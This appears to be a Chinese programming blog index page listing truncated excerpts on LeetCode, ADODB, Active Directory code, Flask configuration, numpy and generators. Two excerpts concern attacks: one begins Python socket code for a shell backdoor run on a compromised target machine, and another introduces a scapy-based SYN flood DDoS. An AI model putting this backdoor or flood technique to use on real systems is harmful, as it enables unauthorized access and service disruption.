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leetcode[87] Partition List

题目:给定一个链表和一个数x,将链表中比x小的放在前面,其他的放在后头。例如:Given1->4->3->2->5->2andx=3,return1->2->2->4->3->5.思路:1.再用两个node,一个指向所有小于x的,一个指向其他的,之后把两个接在一起。接在一起需要注意large是否未移动过。/***Definitionforsingly-linkedlist.*structListNode{*intval;*ListNode*next;*Li

系统 2019-08-12 01:53:47 2386

数据库相关

adodb.RecordSet的属性和方法

为了更精确地跟踪数据,要用RecordSet组件创建包括数据的游标,游标就是储存在内存中的数据:rs=Server.CreateObject("ADODB.RecordSet")rs.Open(sqlStr,conn,1,A)注:A=1表示读取数据;A=3表示新增、改动或删除数据。在RecordSet组件中,经常使用的属性和方法有:rs.Fields.Count:RecordSet对象字段数。rs(i).Name:第i个字段的名称,i为0至rs.Field

系统 2019-08-12 01:51:55 2386

数据库相关

AD用户操作

本人在网上公开的源代码上加上了,搜索,修改,删除。usingSystem;usingSystem.Collections.Generic;usingSystem.Text;usingSystem.DirectoryServices;usingSystem.Data;namespaceCommon{publicclassADHelper{privatestaticstringDomainName="VMEX";privatestaticstringLDAPD

系统 2019-08-12 01:33:48 2386

编程技术

Introduction to Machine Learning

机器学习(MachineLearning)最早起源于人工智能(ArtificialIntelligence,AI),其核心在于构造学习算法(LearningAlgorithm),使得机器可以自动从训练数据中进行学习以完成特定任务。机器学习的定义1959年,ArthurSamuel将机器学习定义为:"Fieldofstudythatgivescomputerstheabilitytolearnwithoutbeingexplicitlyprogrammed"

系统 2019-08-12 01:33:07 2386

数据库相关

Unknown

鉴于自己的直觉总是很准,所以这次再相信一次好了T1:我觉得极有可能考到的是1.对于栈,队列的模拟;2.数论(不是像gcd那样的题目,而是加法原理乘法原理斥容,或是极具数学推导的东西,当然有可能用于贪心的证明,在T2出现)3.博弈论其次还是要多加练习的是,4.一般模拟,以及5.字符串的处理,这也是有可能出现的T2T3:个人认为出现概率较大的是,略高级(复杂)的算法,或是需要模型转化的题目1.参照去年的最小瓶颈路之类的算法(图论),极有可能出现的是求有向图的强

系统 2019-08-12 01:33:01 2386

Python

利用python模拟菜刀反弹shell绕过限制

有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返

系统 2019-09-27 17:56:43 2385

Python

解决python flask中config配置管理的问题

在项目中我们需要配置各种环境。如果我们的配置项很少的话,可以直接简单粗暴的来;比如:app=Flask(__name__)app.config['DEBUG']=Trueapp.config其实是实例化了flask.config.Config类的实例,继承于python内置数据结构dict字典,可以使用update方法:app.config.update(DEBUG=true,SECRET_KEY='xxxx')如果设置很多的情况下,想要集中起来管理设置项

系统 2019-09-27 17:56:30 2385

Python

python cumsum函数的具体使用

这个函数的功能是返回给定axis上的累计和函数的原型如下:详见docnumpy.cumsum(a,axis=None,dtype=None,out=None)Returnthecumulativesumoftheelementsalongagivenaxis.官方的文档是没有详细解释,本人做了测试自己把理解的写下。1.对于一维输入a(可以是list,可以是array,假设a=[1,2,3,4,5,6,7],就是当前列之前的和加到当前列上,如下:>>>imp

系统 2019-09-27 17:54:38 2385

Python

Python-DDoS攻击

背景:网络传输层中,一般采用TCP协议,如果要建立连接,客户端会先发送syn包请求,服务器接收,接收后,再传递给客户端ack,syn包,这个时候,客户端再次回应,传回ack包。可是问题就出在,如果我是客户端,只发送一个请求syn包,然后第三次握手的时候,不再往回传ack包,此时服务端是不是就要等待?在等待的时间里,我是不是可以伪造更多的请求,从而不断消耗服务器的资源,然后直到最后服务器停止服务为止?上述这种攻击就是syn泛洪攻击。python中scapy库

系统 2019-09-27 17:54:25 2385

Python

[Python] 杨辉三角 (生成器generator & 列表生成式)

练习杨辉三角定义如下:1/\11/\/\121/\/\/\1331/\/\/\/\14641/\/\/\/\/\15101051把每一行看做一个list,试写一个generator,不断输出下一行的list:期待输出:#[1]#[1,1]#[1,2,1]#[1,3,3,1]#[1,4,6,4,1]#[1,5,10,10,5,1]#[1,6,15,20,15,6,1]#[1,7,21,35,35,21,7,1]#[1,8,28,56,70,56,28,8,1

系统 2019-09-27 17:53:12 2385